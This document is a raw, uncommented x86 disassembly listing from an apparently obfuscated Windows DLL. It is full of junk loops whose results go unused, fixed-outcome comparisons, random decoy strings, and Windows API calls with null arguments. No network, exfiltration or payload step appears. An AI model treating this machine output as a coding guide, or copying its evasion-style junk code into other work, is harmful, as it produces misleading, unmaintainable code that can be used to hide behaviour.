call fcn.1000c530
mov dword [ebp - 4], 4
mov dword [ebp - 0x2c4], 0
jmp 0x1002c2d3
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 3
jge 0x1002c2f5
push dword [ebp - 0x2c4]
lea ecx, [ebp - 0xad4]
call fcn.1000c5cf
mov dword [eax], 0x7ddc85f7
jmp 0x1002c2c6
mov dword [ebp - 0x65c], 0x2e9a
mov dword [ebp - 0x8ac], str.kndjxlvdi_qpqelwit_xpqtbqd_dqdmuyk_gcifpw_oeigcrenq_kqkcc_wbpqq
cmp dword [ebp - 0x65c], 0x2f5f
jle 0x1002c3c1
and dword [ebp - 0x224], 0
jmp 0x1002c32f
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x1cec
jge 0x1002c3c1
and dword [ebp - 0x21c], 0
jmp 0x1002c355
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x67c7
jge 0x1002c3bc
and dword [ebp - 0x31c], 0
jmp 0x1002c377
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0x7fe1
jge 0x1002c3ba
mov eax, dword [ebp - 0x21c]
add eax, dword [ebp - 0x31c]
or eax, dword [ebp - 0x224]
cdq
mov dword [ebp - 0x934], eax
mov dword [ebp - 0x930], edx
push dword [ebp - 0x930]
push dword [ebp - 0x934]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002c36a
jmp 0x1002c348
jmp 0x1002c322
push 0
lea ecx, [ebp - 0xad4]
call fcn.1000c5cf
mov dword [eax], 0xc
jmp 0x1002c3fa
push 0
lea ecx, [ebp - 0xad4]
call fcn.1000c5cf
mov dword [ebp - 0x474], eax
mov eax, dword [ebp - 0x474]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x474]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xad4]
call fcn.1000c5cf
cmp dword [eax], 0xfffffff8
je 0x1002c47f
push 4
lea ecx, [ebp - 0xc3c]
call fcn.1000c530
mov byte [ebp - 4], 5
mov dword [ebp - 0x2cc], 0
jmp 0x1002c436
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 4
jge 0x1002c458
push dword [ebp - 0x2cc]
lea ecx, [ebp - 0xc3c]
call fcn.1000c5cf
mov dword [eax], 0xc58fb770
jmp 0x1002c429
push 0
lea ecx, [ebp - 0xc3c]
call fcn.1000c5cf
mov dword [eax], 0x2ffab8c3
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xc3c]
call fcn.1000c5b3
jmp 0x1002c3d6
cmp dword [ebp - 0x65c], 0x2cdc
jge 0x1002c49b
mov edx, dword [ebp - 0x8ac]
mov ecx, 0x1006cbb8
call fcn.1000e58f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xad4]
call fcn.1000c5b3
jmp 0x1002b969
mov eax, dword [ebp - 0x30]
movzx eax, byte [ebp + eax - 0x183]
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x234]
movzx ecx, byte [ebp + ecx - 0x186]
movzx ecx, word [ebp + ecx*2 - 0xc9c]
or eax, ecx
mov ecx, dword [ebp - 0x30]
movzx ecx, byte [ebp + ecx - 0x183]
mov edx, dword [ebp - 0x30]
sub edx, dword [ebp - 0x234]
movzx edx, byte [ebp + edx - 0x186]
movzx edx, word [ebp + edx*2 - 0xc9c]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x30]
movzx ecx, byte [ebp + ecx - 0x184]
mov word [ebp + ecx*2 - 0xc9c], ax
push 2
lea ecx, [ebp - 0xd00]
call fcn.1000c530
mov dword [ebp - 4], 6
mov dword [ebp - 0x35c], 7
mov dword [ebp - 0xa48], 1
mov dword [ebp - 0x22c], 0
jmp 0x1002c551
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 2
jge 0x1002c573
push dword [ebp - 0x22c]
lea ecx, [ebp - 0xd00]
call fcn.1000c5cf
mov dword [eax], 5
jmp 0x1002c544
mov dword [ebp - 0x35c], 0
jmp 0x1002c58c
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 1
jg 0x1002c5a1
mov dword [ebp - 0xa48], 0x51f20002
jmp 0x1002c57f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd00]
call fcn.1000c5b3
and dword [ebp - 0x234], 0
jmp 0x1002b969
mov dword [ebp - 0x54], 0xb9f9b31
mov dword [ebp - 0x130], 0
mov dword [ebp - 0xb3c], 1
mov dword [ebp - 0xb38], 1
mov dword [ebp - 0xb34], 1
mov dword [ebp - 0xb30], 1
mov dword [ebp - 0xe0], 0xfff9
mov dword [ebp - 0x47c], 0x2788
mov dword [ebp - 0x8b4], str.mtc_exv_tiaun_qxfotacuy_hoinil
cmp dword [ebp - 0x47c], 0x2b30
jle 0x1002c69e
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
and dword [ebp - 0x2d4], 0
jmp 0x1002c63d
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x206
jge 0x1002c69e
and dword [ebp - 0x23c], 0
jmp 0x1002c65f
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x26e1
jge 0x1002c69c
mov eax, dword [ebp - 0x2d4]
or eax, dword [ebp - 0x23c]
cdq
mov dword [ebp - 0x940], eax
mov dword [ebp - 0x93c], edx
push dword [ebp - 0x93c]
push dword [ebp - 0x940]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002c652
jmp 0x1002c630
cmp dword [ebp - 0x47c], 0x2731
jge 0x1002c6ba
mov edx, dword [ebp - 0x8b4]
mov ecx, 0x1006cbb8
call fcn.1000e58f
mov dword [ebp - 0x54], 0xfffffff2
jmp 0x1002c6ca
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xffffffe8
jle 0x1002cfb4
mov dword [ebp - 0x44], 4
mov dword [ebp - 0x7e0], 0x5532
mov dword [ebp - 0xab8], str.eldin_efejpviwv_rkftse_kxcgboi
cmp dword [ebp - 0x7e0], 0x57b8
jle 0x1002c7da
and dword [ebp - 0x324], 0
jmp 0x1002c715
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0x855
jge 0x1002c7da
and dword [ebp - 0x244], 0
jmp 0x1002c73b
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x15d0
jge 0x1002c7d5
and dword [ebp - 0x2dc], 0
jmp 0x1002c761
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x63ef
jge 0x1002c7d0
and dword [ebp - 0x24c], 0
jmp 0x1002c783
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x4e10
jge 0x1002c7ce
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0x2dc]
add ecx, dword [ebp - 0x24c]
xor eax, ecx
cdq
mov dword [ebp - 0x94c], eax
mov dword [ebp - 0x948], edx
push dword [ebp - 0x948]
push dword [ebp - 0x94c]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002c776
jmp 0x1002c754
jmp 0x1002c72e
jmp 0x1002c708
cmp dword [ebp - 0x7e0], 0x5508
jge 0x1002c7f6
mov edx, dword [ebp - 0xab8]
mov ecx, 0x1006cbb8
call fcn.1000e58f
push 3
lea ecx, [ebp - 0x884]
call fcn.1000c530
mov dword [ebp - 4], 7
push 4
lea ecx, [ebp - 0xb84]
call fcn.1000c530
mov byte [ebp - 4], 8
mov dword [ebp - 0xa58], 1
mov dword [ebp - 0x8cc], 0xffffffff
mov dword [ebp - 0x4dc], 0xe0c605f7
mov dword [ebp - 0x24], 0
jmp 0x1002c849
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002c85f
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xde8], 0x676bd76d
jmp 0x1002c842
mov dword [ebp - 0x24], 0
jmp 0x1002c86f
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1002c88b
push dword [ebp - 0x24]
lea ecx, [ebp - 0x884]
call fcn.1000c5cf
mov dword [eax], 1
jmp 0x1002c868
mov dword [ebp - 0x24], 0
jmp 0x1002c89b
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002c8b7
push dword [ebp - 0x24]
lea ecx, [ebp - 0xb84]
call fcn.1000c5cf
mov dword [eax], 0xa64a9b53
jmp 0x1002c894
mov dword [ebp - 0x44], 0
jmp 0x1002c8c7
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xffffffef
jl 0x1002ce2c
mov dword [ebp - 0x390], 0xfff9
push 3
lea ecx, [ebp - 0xb6c]
call fcn.1000c530
mov byte [ebp - 4], 9
mov dword [ebp - 0x32c], 0xca0cec51
mov dword [ebp - 0x8d8], 6
mov dword [ebp - 0x34c], 0
jmp 0x1002c919
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 3
jge 0x1002c938
push dword [ebp - 0x34c]
lea ecx, [ebp - 0xb6c]
call fcn.1000c5cf
or dword [eax], 0xffffffff
jmp 0x1002c90c
cmp dword [ebp - 0x390], 0xffff
jbe 0x1002cd3e
mov dword [ebp - 0x484], 0x2899
mov dword [ebp - 0x8bc], str.uhtdpde_atk_rcdckqxqo_gosnh_rkxm_xsy_ktdk_opxx_moqwortep_pddnt
cmp dword [ebp - 0x484], 0x2b01
jle 0x1002ca14
and dword [ebp - 0x254], 0
jmp 0x1002c982
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x7755
jge 0x1002ca14
and dword [ebp - 0x2e4], 0
jmp 0x1002c9a8
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0x2931
jge 0x1002ca0f
and dword [ebp - 0x25c], 0
jmp 0x1002c9ca
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x4f71
jge 0x1002ca0d
mov eax, dword [ebp - 0x254]
sub eax, dword [ebp - 0x2e4]
xor eax, dword [ebp - 0x25c]
cdq
mov dword [ebp - 0x958], eax
mov dword [ebp - 0x954], edx
push dword [ebp - 0x954]
push dword [ebp - 0x958]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002c9bd
jmp 0x1002c99b
jmp 0x1002c975
push 3
lea ecx, [ebp - 0x878]
call fcn.1000c530
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x484], 0x261e
jge 0x1002ca41
mov edx, dword [ebp - 0x8bc]
mov ecx, 0x1006cbb8
call fcn.1000e58f
mov dword [ebp - 0xd94], 0xfffffffd
mov dword [ebp - 0x74], 0
jmp 0x1002ca5b
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 3
jge 0x1002ca77
push dword [ebp - 0x74]
lea ecx, [ebp - 0x878]
call fcn.1000c5cf
mov dword [eax], 0xed99
jmp 0x1002ca54
mov dword [ebp - 0x74], 0
jmp 0x1002ca87
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jge 0x1002ca9d
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0xb8c], 0xac245771
jmp 0x1002ca80
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xd9c], eax
push 1
lea ecx, [ebp - 0x878]
call fcn.1000c5cf
mov esi, eax
push 0
lea ecx, [ebp - 0x878]
call fcn.1000c5cf
mov ecx, dword [esi]
sub ecx, dword [eax]
jne 0x1002cad5
xor eax, eax
jne 0x1002cad5
and dword [ebp - 0x664], 0
jmp 0x1002cadf
mov dword [ebp - 0x664], 1
cmp dword [ebp - 0x664], 0xfffffffb
ja 0x1002caf4
mov dword [ebp - 0xa50], 1
jmp 0x1002cafb
and dword [ebp - 0xa50], 0
cmp dword [ebp - 0x54], 0x4aa41a80
je 0x1002cb10
mov dword [ebp - 0x8c4], 1
jmp 0x1002cb17
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xda4], eax
push 0
lea ecx, [ebp - 0xb6c]
call fcn.1000c5cf
mov dword [eax], 0xfd0a3205
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xdb8], eax
cmp dword [ebp - 0x54], 0x275cf8b8
jg 0x1002cb51
mov dword [ebp - 0x48c], 1
jmp 0x1002cb58
and dword [ebp - 0x48c], 0
mov esi, dword [ebp - 0x390]
add esi, dword [ebp - 0x48c]
push 2
lea ecx, [ebp - 0x878]
call fcn.1000c5cf
cmp esi, dword [eax]
jle 0x1002cb81
mov dword [ebp - 0x754], 1
jmp 0x1002cb88
and dword [ebp - 0x754], 0
mov eax, dword [ebp - 0x54]
imul eax, dword [ebp - 0x754]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x32c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb3c]
mov dword [ebp - 0xdc0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x44]
mov dword [ebp + eax - 0xde8], ecx
cmp dword [ebp - 0x44], 0
je 0x1002cc2b
push 2
lea ecx, [ebp - 0x884]
call fcn.1000c5cf
mov esi, eax
push 0
lea ecx, [ebp - 0x884]
call fcn.1000c5cf
mov ecx, dword [esi]
cmp ecx, dword [eax]
je 0x1002cbfa
mov dword [ebp - 0xb14], 1
jmp 0x1002cc01
and dword [ebp - 0xb14], 0
push 0
lea ecx, [ebp - 0x884]
call fcn.1000c5cf
mov eax, dword [ebp - 0x32c]
mov dword [ebp - 0xdc8], eax
xor eax, eax
inc eax
je 0x1002cc2b
mov dword [ebp - 0x494], 1
jmp 0x1002cc32
and dword [ebp - 0x494], 0
cmp dword [ebp - 0x494], 0xffffffff
ja 0x1002cc47
mov dword [ebp - 0x66c], 1
jmp 0x1002cc4e
and dword [ebp - 0x66c], 0
cmp dword [ebp - 0x66c], 0xfffffff7
jge 0x1002cc63
mov dword [ebp - 0x49c], 1
jmp 0x1002cc6a
and dword [ebp - 0x49c], 0
push 2
lea ecx, [ebp - 0x878]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x49c]
cmp ecx, dword [eax]
jne 0x1002cc8d
mov dword [ebp - 0x7cc], 1
jmp 0x1002cc94
and dword [ebp - 0x7cc], 0
cmp dword [ebp - 0x7cc], 0xc24175c8
jb 0x1002ccac
mov dword [ebp - 0x4a4], 1
jmp 0x1002ccb3
and dword [ebp - 0x4a4], 0
cmp dword [ebp - 0x4a4], 0xffffffff
jae 0x1002ccc8
mov dword [ebp - 0x674], 1
jmp 0x1002cccf
and dword [ebp - 0x674], 0
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb8c]
imul eax, dword [ebp - 0x674]
cmp dword [ebp - 0xe0], eax
jne 0x1002cd04
mov dword [ebp - 0x4ac], 1
jmp 0x1002cd0b
and dword [ebp - 0x4ac], 0
push 0
lea ecx, [ebp - 0x884]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x4ac]
sub ecx, dword [eax]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xb8c], ecx
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x878]
call fcn.1000c5b3
jmp 0x1002cd5b
cmp dword [ebp - 0x390], 0
je 0x1002cd5b
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xb6c]
call fcn.1000c5b3
jmp 0x1002ce2c
push 2
pop eax
test eax, eax
je 0x1002cd7c
mov eax, dword [ebp - 0x8cc]
cmp dword [ebp - 0x32c], eax
je 0x1002cd7c
mov dword [ebp - 0x75c], 1
jmp 0x1002cd83
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0xa58]
cmp eax, dword [ebp - 0x75c]
jne 0x1002cda2
xor eax, eax
inc eax
je 0x1002cda2
mov dword [ebp - 0x4b4], 1
jmp 0x1002cda9
and dword [ebp - 0x4b4], 0
push 2
lea ecx, [ebp - 0xb84]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x44]
add ecx, dword [ebp - 0x4b4]
mov eax, dword [eax]
sub eax, ecx
cmp eax, dword [ebp - 0xe0]
jl 0x1002cdd7
mov dword [ebp - 0x67c], 1
jmp 0x1002cdde
and dword [ebp - 0x67c], 0
mov eax, dword [ebp - 0x32c]
cmp dword [ebp - 0x67c], eax
jg 0x1002cdf8
mov dword [ebp - 0x4bc], 1
jmp 0x1002cdff
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x8d8]
imul eax, dword [ebp - 0x4bc]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xb3c], eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xb6c]
call fcn.1000c5b3
jmp 0x1002c8c0
push 2
lea ecx, [ebp - 0xb84]
call fcn.1000c5cf
mov dword [eax], 0xffff
mov eax, 0xffff
cmp eax, 0xfffd
ja 0x1002ce57
mov dword [ebp - 0x7e8], 1
jmp 0x1002ce5e
and dword [ebp - 0x7e8], 0
cmp dword [ebp - 0x7e8], 0x83b01f6
jl 0x1002ce71
cmp dword [ebp - 0x130], 0
cmp dword [ebp - 0x44], 0xc611
jle 0x1002ce86
mov dword [ebp - 0x4c4], 1
jmp 0x1002ce8d
and dword [ebp - 0x4c4], 0
cmp dword [ebp - 0x4c4], 0x7b67
jle 0x1002cea5
mov dword [ebp - 0x684], 1
jmp 0x1002ceac
and dword [ebp - 0x684], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb3c]
cmp dword [ebp - 0x684], eax
jne 0x1002cecc
mov dword [ebp - 0x4cc], 1
jmp 0x1002ced3
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x4cc]
je 0x1002ceea
mov dword [ebp - 0x764], 1
jmp 0x1002cef1
and dword [ebp - 0x764], 0
mov eax, dword [ebp - 0x4dc]
cmp dword [ebp - 0x764], eax
jne 0x1002cf14
cmp dword [ebp - 0xe0], 0
je 0x1002cf14
mov dword [ebp - 0x4d4], 1
jmp 0x1002cf1b
and dword [ebp - 0x4d4], 0
cmp dword [ebp - 0x4d4], 0xd51e
jne 0x1002cf33
mov dword [ebp - 0x68c], 1
jmp 0x1002cf3a
and dword [ebp - 0x68c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb3c]
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xdd0], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xdd8], eax
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x4dc], eax
jle 0x1002cf78
mov dword [ebp - 0x7d8], 1
jmp 0x1002cf7f
and dword [ebp - 0x7d8], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x7d8]
mov dword [ebp + eax - 0xde8], ecx
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xb84]
call fcn.1000c5b3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x884]
call fcn.1000c5b3
jmp 0x1002c6c3
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xc9c], cx
mov dword [ebp - 0x4e4], 0x56b6
mov dword [ebp - 0xac0], str.pfuf_bnptss_tfdgknles
cmp dword [ebp - 0x4e4], 0x56dd
jle 0x1002d05b
and dword [ebp - 0x264], 0
jmp 0x1002cffa
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0x2fc6
jge 0x1002d05b
and dword [ebp - 0x2ec], 0
jmp 0x1002d01c
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x6103
jge 0x1002d059
mov eax, dword [ebp - 0x264]
and eax, dword [ebp - 0x2ec]
cdq
mov dword [ebp - 0x964], eax
mov dword [ebp - 0x960], edx
push dword [ebp - 0x960]
push dword [ebp - 0x964]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002d00f
jmp 0x1002cfed
mov dword [ebp - 0x4ec], 0xb7f37c04
cmp dword [ebp - 0x4e4], 0x538d
jge 0x1002d081
mov edx, dword [ebp - 0xac0]
mov ecx, 0x1006cbb8
call fcn.1000e58f
or dword [ebp - 0xbc4], 0xffffffff
or dword [ebp - 0xbc0], 0xffffffff
or dword [ebp - 0xbbc], 0xffffffff
or dword [ebp - 0xbb8], 0xffffffff
lea ecx, [ebp - 0x371]
call fcn.1000c5de
push eax
lea eax, [ebp - 0xbb4]
push eax
lea eax, [ebp - 0xbc4]
push eax
lea ecx, [ebp - 0xe54]
call fcn.1000c5e1
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xc48]
call fcn.1000c58d
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x100], 0
push 1
lea ecx, [ebp - 0xc30]
call fcn.1000c530
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x26c], 0
jmp 0x1002d10d
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 1
jge 0x1002d12f
push dword [ebp - 0x26c]
lea ecx, [ebp - 0xc30]
call fcn.1000c5cf
mov dword [eax], 9
jmp 0x1002d100
cmp dword [ebp - 0x4ec], 0x5de05dae
jne 0x1002d147
mov dword [ebp - 0x694], 1
jmp 0x1002d14e
and dword [ebp - 0x694], 0
push 3
lea ecx, [ebp - 0xc48]
call fcn.1000c5cf
mov dword [eax], 1
cmp dword [ebp - 0x694], 1
jg 0x1002d176
mov dword [ebp - 0x8e4], 1
jmp 0x1002d17d
and dword [ebp - 0x8e4], 0
mov eax, dword [ebp - 0x100]
add eax, 0xbe8e
cmp eax, dword [ebp - 0x4ec]
jne 0x1002d19c
mov dword [ebp - 0x76c], 1
jmp 0x1002d1a3
and dword [ebp - 0x76c], 0
push 0
lea ecx, [ebp - 0xc30]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x76c]
mov dword [eax], ecx
mov dword [ebp - 0x100], 0
jmp 0x1002d1d1
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x19
jne 0x1002d210
push 1
lea ecx, [ebp - 0xc48]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1002d1ee
jmp 0x1002d210
mov byte [ebp - 0xc1], 0
movzx eax, byte [ebp - 0xc1]
test eax, eax
je 0x1002d20e
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
jmp 0x1002d1c4
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xc30]
call fcn.1000c5b3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc48]
call fcn.1000c5b3
lea eax, [ebp - 0xc9c]
push eax
lea ecx, [ebp - 0xf28]
call fcn.1000c468
mov dword [ebp - 0xa60], eax
mov eax, dword [ebp - 0xa60]
mov dword [ebp - 0x8f0], eax
mov dword [ebp - 4], 0xd
push dword [ebp - 0x8f0]
call fcn.10023c59
pop ecx
mov dword [ebp - 0x600], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf28]
call fcn.1000c48d
mov dword [ebp - 0x4f4], 0x272
mov dword [ebp - 0xb24], str.htweogcha_woy_jfuog_bmoful_ivqe_dqm
cmp dword [ebp - 0x4f4], 0x353
jle 0x1002d323
and dword [ebp - 0x36c], 0
jmp 0x1002d2b4
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x2c04
jge 0x1002d315
and dword [ebp - 0x274], 0
jmp 0x1002d2d6
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x1007
jge 0x1002d313
mov eax, dword [ebp - 0x36c]
add eax, dword [ebp - 0x274]
cdq
mov dword [ebp - 0x970], eax
mov dword [ebp - 0x96c], edx
push dword [ebp - 0x96c]
push dword [ebp - 0x970]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002d2c9
jmp 0x1002d2a7
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 3
lea ecx, [ebp - 0xc60]
call fcn.1000c530
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x4f4], 0x133
jge 0x1002d353
mov edx, dword [ebp - 0xb24]
mov ecx, 0x1006cbb8
call fcn.1000e58f
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x2f4], 0
jmp 0x1002d376
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 3
jge 0x1002d398
push dword [ebp - 0x2f4]
lea ecx, [ebp - 0xc60]
call fcn.1000c5cf
mov dword [eax], 0xfffffff6
jmp 0x1002d369
mov dword [ebp - 0x140], 2
jmp 0x1002d3b1
mov eax, dword [ebp - 0x140]
dec eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
jl 0x1002d3d4
push dword [ebp - 0x140]
lea ecx, [ebp - 0xc60]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1002d3d2
jmp 0x1002d3d4
jmp 0x1002d3a4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc60]
call fcn.1000c5b3
and dword [ebp - 0x27c], 0
jmp 0x1002d3f9
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0xd
jae 0x1002d414
xor eax, eax
mov ecx, dword [ebp - 0x27c]
mov word [ebp + ecx*2 - 0xc9c], ax
jmp 0x1002d3ec
cmp dword [ebp - 0x600], 0
je 0x100306a0
mov dword [ebp - 0x58], 0xfffffffd
mov dword [ebp - 0xdc4], 0xfffffffe
mov dword [ebp - 0xda8], 0x9f8c5172
mov dword [ebp - 0xd1c], 1
mov dword [ebp - 0xbd8], 2
mov dword [ebp - 0xbd4], 2
mov dword [ebp - 0xbd0], 2
mov dword [ebp - 0xbcc], 2
lea ecx, [ebp - 0x37d]
call fcn.1000c5de
push eax
lea eax, [ebp - 0xbc8]
push eax
lea eax, [ebp - 0xbd8]
push eax
lea ecx, [ebp - 0xe7c]
call fcn.1000c5e1
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xdf4]
call fcn.1000c58d
mov dword [ebp - 4], 0xf
mov dword [ebp - 0xdb0], 0xa4309063
mov dword [ebp - 0x58], 0
jmp 0x1002d4c4
mov eax, dword [ebp - 0x58]
dec eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0xffffffe9
jg 0x1002d74c
mov dword [ebp - 0xf0], 6
mov dword [ebp - 0xcac], 0xfffffffe
mov dword [ebp - 0xd88], 0xfffffffb
push 1
lea ecx, [ebp - 0xd58]
call fcn.1000c530
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x334], 0
jmp 0x1002d516
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 1
jge 0x1002d538
push dword [ebp - 0x334]
lea ecx, [ebp - 0xd58]
call fcn.1000c5cf
mov dword [eax], 7
jmp 0x1002d509
mov eax, dword [ebp - 0xf0]
neg eax
jne 0x1002d58f
cmp dword [ebp - 0x58], 1
jle 0x1002d554
mov dword [ebp - 0x69c], 1
jmp 0x1002d55b
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x69c]
inc eax
cmp dword [ebp - 0xf0], eax
je 0x1002d576
mov dword [ebp - 0x4fc], 1
jmp 0x1002d57d
and dword [ebp - 0x4fc], 0
cmp dword [ebp - 0x4fc], 0xfffffffa
jle 0x1002d58f
and dword [ebp - 0x7f0], 0
jmp 0x1002d599
mov dword [ebp - 0x7f0], 1
mov eax, dword [ebp - 0xf0]
cmp eax, dword [ebp - 0x7f0]
jg 0x1002d5b3
mov dword [ebp - 0x504], 1
jmp 0x1002d5ba
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0xf0]
imul eax, dword [ebp - 0x504]
cmp eax, 1
jg 0x1002d5de
cmp dword [ebp - 0x58], 0
je 0x1002d5de
mov dword [ebp - 0x6a4], 1
jmp 0x1002d5e5
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x6a4], eax
jne 0x1002d5fc
mov dword [ebp - 0x50c], 1
jmp 0x1002d603
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0x50c], eax
jle 0x1002d61d
mov dword [ebp - 0x774], 1
jmp 0x1002d624
and dword [ebp - 0x774], 0
